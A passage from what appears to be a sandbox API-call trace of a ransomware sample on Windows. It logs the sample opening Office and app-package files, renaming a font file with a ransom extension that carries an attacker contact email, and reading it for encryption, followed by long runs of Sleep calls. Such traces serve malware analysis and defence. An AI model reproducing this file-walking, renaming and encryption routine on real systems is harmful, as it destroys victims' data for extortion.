Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-72_altform-unplated_contrast-white.png") returned 1 [0274.745] GetProcessHeap () returned 0x630000 [0274.745] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c0c) returned 0x6fe3bb0 [0274.745] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-72_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-72_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.747] Sleep (dwMilliseconds=0x1) [0274.766] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-40_altform-unplated_contrast-white.png", len=0xb3 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-40_altform-unplated_contrast-white.png") returned 1 [0274.766] GetProcessHeap () returned 0x630000 [0274.766] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bf0) returned 0x6fe3bb0 [0274.766] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-40_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-40_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.768] Sleep (dwMilliseconds=0x1) [0274.776] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-36_contrast-white.png", len=0xa2 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-36_contrast-white.png") returned 1 [0274.776] GetProcessHeap () returned 0x630000 [0274.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bec) returned 0x6fe3bb0 [0274.776] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-36_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-36_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.778] Sleep (dwMilliseconds=0x1) [0274.794] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-24_contrast-white.png", len=0xa2 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-24_contrast-white.png") returned 1 [0274.794] GetProcessHeap () returned 0x630000 [0274.794] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bcc) returned 0x6fe3bb0 [0274.794] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-24_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-24_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.794] Sleep (dwMilliseconds=0x1) [0274.807] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-20_contrast-white.png", len=0xa2 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-20_contrast-white.png") returned 1 [0274.807] GetProcessHeap () returned 0x630000 [0274.807] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bc4) returned 0x6fe3bb0 [0274.808] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-20_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-20_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.809] Sleep (dwMilliseconds=0x1) [0274.826] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageLargeTile.scale-200_contrast-black.png", len=0xa0 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageLargeTile.scale-200_contrast-black.png") returned 1 [0274.826] GetProcessHeap () returned 0x630000 [0274.826] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ba4) returned 0x6fe3bb0 [0274.826] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageLargeTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackagelargetile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.827] Sleep (dwMilliseconds=0x1) [0274.844] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-80_contrast-black.png", len=0xa2 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-80_contrast-black.png") returned 1 [0274.844] GetProcessHeap () returned 0x630000 [0274.844] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b94) returned 0x6fe3bb0 [0274.844] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-80_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-80_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.846] Sleep (dwMilliseconds=0x1) [0274.859] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-64_altform-unplated_contrast-black.png", len=0xb3 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-64_altform-unplated_contrast-black.png") returned 1 [0274.859] GetProcessHeap () returned 0x630000 [0274.859] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b80) returned 0x6fe3bb0 [0274.860] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-64_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-64_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.861] Sleep (dwMilliseconds=0x1) [0274.875] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-36_contrast-black.png", len=0xa2 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-36_contrast-black.png") returned 1 [0274.875] GetProcessHeap () returned 0x630000 [0274.875] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b64) returned 0x6fe3bb0 [0274.876] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-36_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-36_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.877] Sleep (dwMilliseconds=0x1) [0274.891] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-256_altform-unplated_contrast-black.png", len=0xb4 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-256_altform-unplated_contrast-black.png") returned 1 [0274.891] GetProcessHeap () returned 0x630000 [0274.891] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b48) returned 0x6fe3bb0 [0274.891] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-256_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-256_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.893] Sleep (dwMilliseconds=0x1) [0274.905] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-16_altform-unplated_contrast-black.png", len=0xb3 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-16_altform-unplated_contrast-black.png") returned 1 [0274.905] GetProcessHeap () returned 0x630000 [0274.905] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b30) returned 0x6fe3bb0 [0274.906] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-16_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-16_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.907] Sleep (dwMilliseconds=0x1) [0274.933] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKBI.TTF", len=0x43 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKBI.TTF") returned 1 [0274.933] GetProcessHeap () returned 0x630000 [0274.933] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b1c) returned 0x6fe3bb0 [0274.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKBI.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rockbi.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0274.968] CloseHandle (hObject=0x4e0) returned 1 [0274.968] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0274.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKBI.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rockbi.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKBI.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rockbi.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0274.972] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0274.972] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKBI.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87b72fc9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87b72fc9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8909a9cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11fe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROCKBI.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROCKBI~1.FIR")) returned 0x6d53c0 [0274.973] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0274.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKBI.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rockbi.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0274.975] GetProcessHeap () returned 0x630000 [0274.975] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0274.975] GetProcessHeap () returned 0x630000 [0274.975] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x706cf78 [0274.976] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.976] ReadFile (in: hFile=0x6f4, lpBuffer=0x6ec0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesRead=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 57 os_tid = 0xe8c [0067.525] Sleep (dwMilliseconds=0x1) [0067.539] Sleep (dwMilliseconds=0x1) [0067.552] Sleep (dwMilliseconds=0x1) [0067.657] Sleep (dwMilliseconds=0x1) [0067.661] Sleep (dwMilliseconds=0x1) [0067.680] Sleep (dwMilliseconds=0x1) [0067.693] Sleep (dwMilliseconds=0x1) [0067.711] Sleep (dwMilliseconds=0x1) [0067.724] Sleep (dwMilliseconds=0x1) [0067.742] Sleep (dwMilliseconds=0x1) [0067.762] Sleep (dwMilliseconds=0x1) [0067.774] Sleep (dwMilliseconds=0x1) [0067.788] Sleep (dwMilliseconds=0x1) [0067.933] Sleep (dwMilliseconds=0x1) [0068.043] Sleep (dwMilliseconds=0x1) [0068.147] Sleep (dwMilliseconds=0x1) [0068.282] Sleep (dwMilliseconds=0x1) [0068.393] Sleep (dwMilliseconds=0x1) [0068.492] Sleep (dwMilliseconds=0x1) [0068.546] Sleep (dwMilliseconds=0x1) [0068.697] Sleep (dwMilliseconds=0x1) [0068.747] Sleep (dwMilliseconds=0x1) [0068.792] Sleep (dwMilliseconds=0x1) [0068.843] Sleep (dwMilliseconds=0x1) [0068.883] Sleep (dwMilliseconds=0x1) [0068.935] Sleep (dwMilliseconds=0x1) [0068.975] Sleep (dwMilliseconds=0x1) [0069.048] Sleep (dwMilliseconds=0x1) [0069.104] Sleep (dwMilliseconds=0x1) [0069.159] Sleep (dwMilliseconds=0x1) [0069.197] Sleep (dwMilliseconds=0x1) [0069.249] Sleep (dwMilliseconds=0x1) [0069.292] Sleep (dwMilliseconds=0x1) [0069.378] Sleep (dwMilliseconds=0x1) [0069.435] Sleep (dwMilliseconds=0x1) [0069.483] Sleep (dwMilliseconds=0x1) [0069.522] Sleep (dwMilliseconds=0x1) [0069.689] Sleep (dwMilliseconds=0x1) [0069.919] Sleep (dwMilliseconds=0x1) [0070.147] Sleep (dwMilliseconds=0x1) [0070.262] Sleep (dwMilliseconds=0x1) [0070.382] Sleep (dwMilliseconds=0x1) [0070.534] Sleep (dwMilliseconds=0x1) [0070.869] Sleep (dwMilliseconds=0x1) [0071.569] Sleep (dwMilliseconds=0x1) [0071.942] Sleep (dwMilliseconds=0x1) [0072.430] Sleep (dwMilliseconds=0x1) [0072.607] Sleep (dwMilliseconds=0x1) [0072.800] Sleep (dwMilliseconds=0x1) [0072.906] Sleep (dwMilliseconds=0x1) [0073.098] Sleep (dwMilliseconds=0x1) [0073.607] Sleep (dwMilliseconds=0x1) [0073.775] Sleep (dwMilliseconds=0x1) [0073.977] Sleep (dwMilliseconds=0x1) [0074.056] Sleep (dwMilliseconds=0x1) [0074.181] Sleep (dwMilliseconds=0x1) [0074.380] Sleep (dwMilliseconds=0x1) [0074.672] Sleep (dwMilliseconds=0x1) [0074.771] Sleep (dwMilliseconds=0x1) [0074.849] Sleep (dwMilliseconds=0x1) [0074.907] Sleep (dwMilliseconds=0x1) [0074.998] Sleep (dwMilliseconds=0x1) [0075.063] Sleep (dwMilliseconds=0x1) [0075.103] Sleep (dwMilliseconds=0x1) [0075.160] Sleep (dwMilliseconds=0x1) [0075.220] Sleep (dwMilliseconds=0x1) [0075.260] Sleep (dwMilliseconds=0x1) [0075.308] Sleep (dwMilliseconds=0x1) [0075.358] Sleep (dwMilliseconds=0x1) [0075.424] Sleep (dwMilliseconds=0x1) [0075.516] Sleep (dwMilliseconds=0x1) [0075.565] Sleep (dwMilliseconds=0x1) [0075.614] Sleep (dwMilliseconds=0x1) [0075.696] Sleep (dwMilliseconds=0x1) [0075.746] Sleep (dwMilliseconds=0x1) [0075.791] Sleep (dwMilliseconds=0x1) [0075.832] Sleep (dwMilliseconds=0x1) [0076.047] Sleep (dwMilliseconds=0x1) [0076.060] Sleep (dwMilliseconds=0x1) [0076.085] Sleep (dwMilliseconds=0x1) [0076.104] Sleep (dwMilliseconds=0x1) [0076.188] Sleep (dwMilliseconds=0x1) [0076.389] Sleep (dwMilliseconds=0x1) [0076.532] Sleep (dwMilliseconds=0x1) [0076.669] Sleep (dwMilliseconds=0x1) [0076.772] Sleep (dwMilliseconds=0x1) [0076.807] Sleep (dwMilliseconds=0x1) [0076.844] Sleep (dwMilliseconds=0x1) [0076.869] Sleep (dwMilliseconds=0x1) [0076.922] Sleep (dwMilliseconds=0x1) [0076.983] Sleep (dwMilliseconds=0x1) [0077.070] Sleep (dwMilliseconds=0x1) [0077.153] Sleep (dwMilliseconds=0x1) [0077.224] Sleep (dwMilliseconds=0x1) [0077.286] Sleep (dwMilliseconds=0x1) [0077.362] Sleep (dwMilliseconds=0x1) [0077.410] Sleep (dwMilliseconds=0x1) [0077.523] Sleep (dwMilliseconds=0x1) [0077.595] Sleep (dwMilliseconds=0x1) [0077.651] Sleep (dwMilliseconds=0x1) [0077.687] Sleep (dwMilliseconds=0x1) [0077.740] Sleep (dwMilliseconds=0x1) [0077.780] Sleep (dwMilliseconds=0x1) [0077.835] Sleep (dwMilliseconds=0x1) [0077.854] Sleep (dwMilliseconds=0x1) [0077.907] Sleep (dwMilliseconds=0x1) [0077.963] Sleep (dwMilliseconds=0x1) [0077.978] Sleep (dwMilliseconds=0x1) [0078.000] Sleep (dwMilliseconds=0x1) [0078.087] Sleep (dwMilliseconds=0x1) [0078.116] Sleep (dwMilliseconds=0x1) [0078.135] Sleep (dwMilliseconds=0x1) [0078.192] Sleep (dwMilliseconds=0x1) [0078.224] Sleep (dwMilliseconds=0x1) [0078.237] Sleep (dwMilliseconds=0x1) [0078.254] Sleep (dwMilliseconds=0x1) [0078.271] Sleep (dwMilliseconds=0x1) [0078.287] Sleep (dwMilliseconds=0x1) [0078.313] Sleep (dwMilliseconds=0x1) [0078.361] Sleep (dwMilliseconds=0x1) [0078.378] Sleep (dwMilliseconds=0x1) [0078.514] Sleep (dwMilliseconds=0x1) [0078.535] Sleep (dwMilliseconds=0x1) [0078.558] Sleep (dwMilliseconds=0x1) [0078.571] Sleep (dwMilliseconds=0x1) [0078.608] Sleep (dwMilliseconds=0x1) [0078.629] Sleep (dwMilliseconds=0x1) [0078.643] Sleep (dwMilliseconds=0x1) [0078.661] Sleep (dwMilliseconds=0x1) [0078.674] Sleep (dwMilliseconds=0x1) [0078.707] Sleep (dwMilliseconds=0x1) [0078.722] Sleep (dwMilliseconds=0x1) [0078.737] Sleep (dwMilliseconds=0x1) [0078.755] Sleep (dwMilliseconds=0x1) [0078.768] Sleep (dwMilliseconds=0x1) [0078.787] Sleep (dwMilliseconds=0x1) [0078.836] Sleep (dwMilliseconds=0x1) [0078.887] Sleep (dwMilliseconds=0x1) [0078.931] Sleep (dwMilliseconds=0x1) [0078.941] Sleep (dwMilliseconds=0x1) [0078.963] Sleep (dwMilliseconds=0x1) [0078.974] Sleep (dwMilliseconds=0x1) [0079.007] Sleep (dwMilliseconds=0x1) [0079.027] Sleep (dwMilliseconds=0x1) [0079.035] Sleep (dwMilliseconds=0x1) [0079.047] Sleep (dwMilliseconds=0x1) [0079.085] Sleep (dwMilliseconds=0x1) [0079.096] Sleep (dwMilliseconds=0x1) [0079.119] Sleep (dwMilliseconds=0x1) [0079.127] Sleep (dwMilliseconds=0x1) [0079.162] Sleep (dwMilliseconds=0x1) [0079.222] Sleep (dwMilliseconds=0x1) [0079.253] Sleep (dwMilliseconds=0x1) [0079.267] Sleep (dwMilliseconds=0x1) [0079.289] Sleep (dwMilliseconds=0x1) [0079.298] Sleep (dwMilliseconds=0x1) [0079.317] Sleep (dwMilliseconds=0x1) [0079.328] Sleep (dwMilliseconds=0x1) [0079.350] Sleep (dwMilliseconds=0x1) [0079.359] Sleep (dwMilliseconds=0x1) [0079.390] Sleep (dwMilliseconds=0x1) [0079.416] Sleep (dwMilliseconds=0x1) [0079.423] Sleep (dwMilliseconds=0x1) [0079.447] Sleep (dwMilliseconds=0x1) [0079.515] Sleep (dwMilliseconds=0x1) [0079.542] Sleep (dwMilliseconds=0x1) [0079.546] Sleep (dwMilliseconds=0x1) [0079.600] Sleep (dwMilliseconds=0x1) [0079.611] Sleep (dwMilliseconds=0x1) [0079.629] Sleep (dwMilliseconds=0x1) [0079.642] Sleep (dwMilliseconds=0x1) [0079.660] Sleep (dwMilliseconds=0x1) [0079.676] Sleep (dwMilliseconds=0x1) [0079.695] Sleep (dwMilliseconds=0x1) [0079.729] Sleep (dwMilliseconds=0x1) [0079.745] Sleep (dwMilliseconds=0x1) [0079.799] Sleep (dwMilliseconds=0x1) [0079.816] Sleep (dwMilliseconds=0x1) [0079.830] Sleep (dwMilliseconds=0x1) [0079.891] Sleep (dwMilliseconds=0x1) [0079.915] Sleep (dwMilliseconds=0x1) [0079.933] Sleep (dwMilliseconds=0x1) [0079.938] Sleep (dwMilliseconds=0x1) [0079.987] Sleep (dwMilliseconds=0x1) [0080.047] Sleep (dwMilliseconds=0x1) [0080.071] Sleep (dwMilliseconds=0x1) [0080.084] Sleep (dwMilliseconds=0x1) [0080.100] Sleep (dwMilliseconds=0x1) [0080.136] Sleep (dwMilliseconds=0x1) [0080.161] Sleep (dwMilliseconds=0x1) [0080.173] Sleep (dwMilliseconds=0x1) [0080.238] Sleep (dwMilliseconds=0x1) [0080.260] Sleep (dwMilliseconds=0x1) [0080.269] Sleep (dwMilliseconds=0x1) [0080.285] Sleep (dwMilliseconds=0x1) [0080.302] Sleep (dwMilliseconds=0x1) [0080.315] Sleep (dwMilliseconds=0x1) [0080.343] Sleep (dwMilliseconds=0x1) [0080.361] Sleep (dwMilliseconds=0x1) [0080.385] Sleep (dwMilliseconds=0x1) [0080.392] Sleep (dwMilliseconds=0x1) [0080.410] Sleep (dwMilliseconds=0x1) [0080.426] Sleep (dwMilliseconds=0x1) [0080.442] Sleep (dwMilliseconds=0x1) [0080.502] Sleep (dwMilliseconds=0x1) [0080.527] Sleep (dwMilliseconds=0x1) [0080.543] Sleep (dwMilliseconds=0x1) [0080.567] Sleep (dwMilliseconds=0x1) [0080.582] Sleep (dwMilliseconds=0x1) [0080.606] Sleep (dwMilliseconds=0x1) [0080.661] Sleep (dwMilliseconds=0x1) [0080.672] Sleep (dwMilliseconds=0x1) [0080.704] Sleep (dwMilliseconds=0x1) [0080.722] Sleep (dwMilliseconds=0x1) [0080.766] Sleep (dwMilliseconds=0x1) [0080.787] Sleep (dwMilliseconds=0x1) [0080.805] Sleep (dwMilliseconds=0x1) [0080.819] Sleep (dwMilliseconds=0x1) [0080.836] Sleep (dwMilliseconds=0x1) [0080.846] Sleep 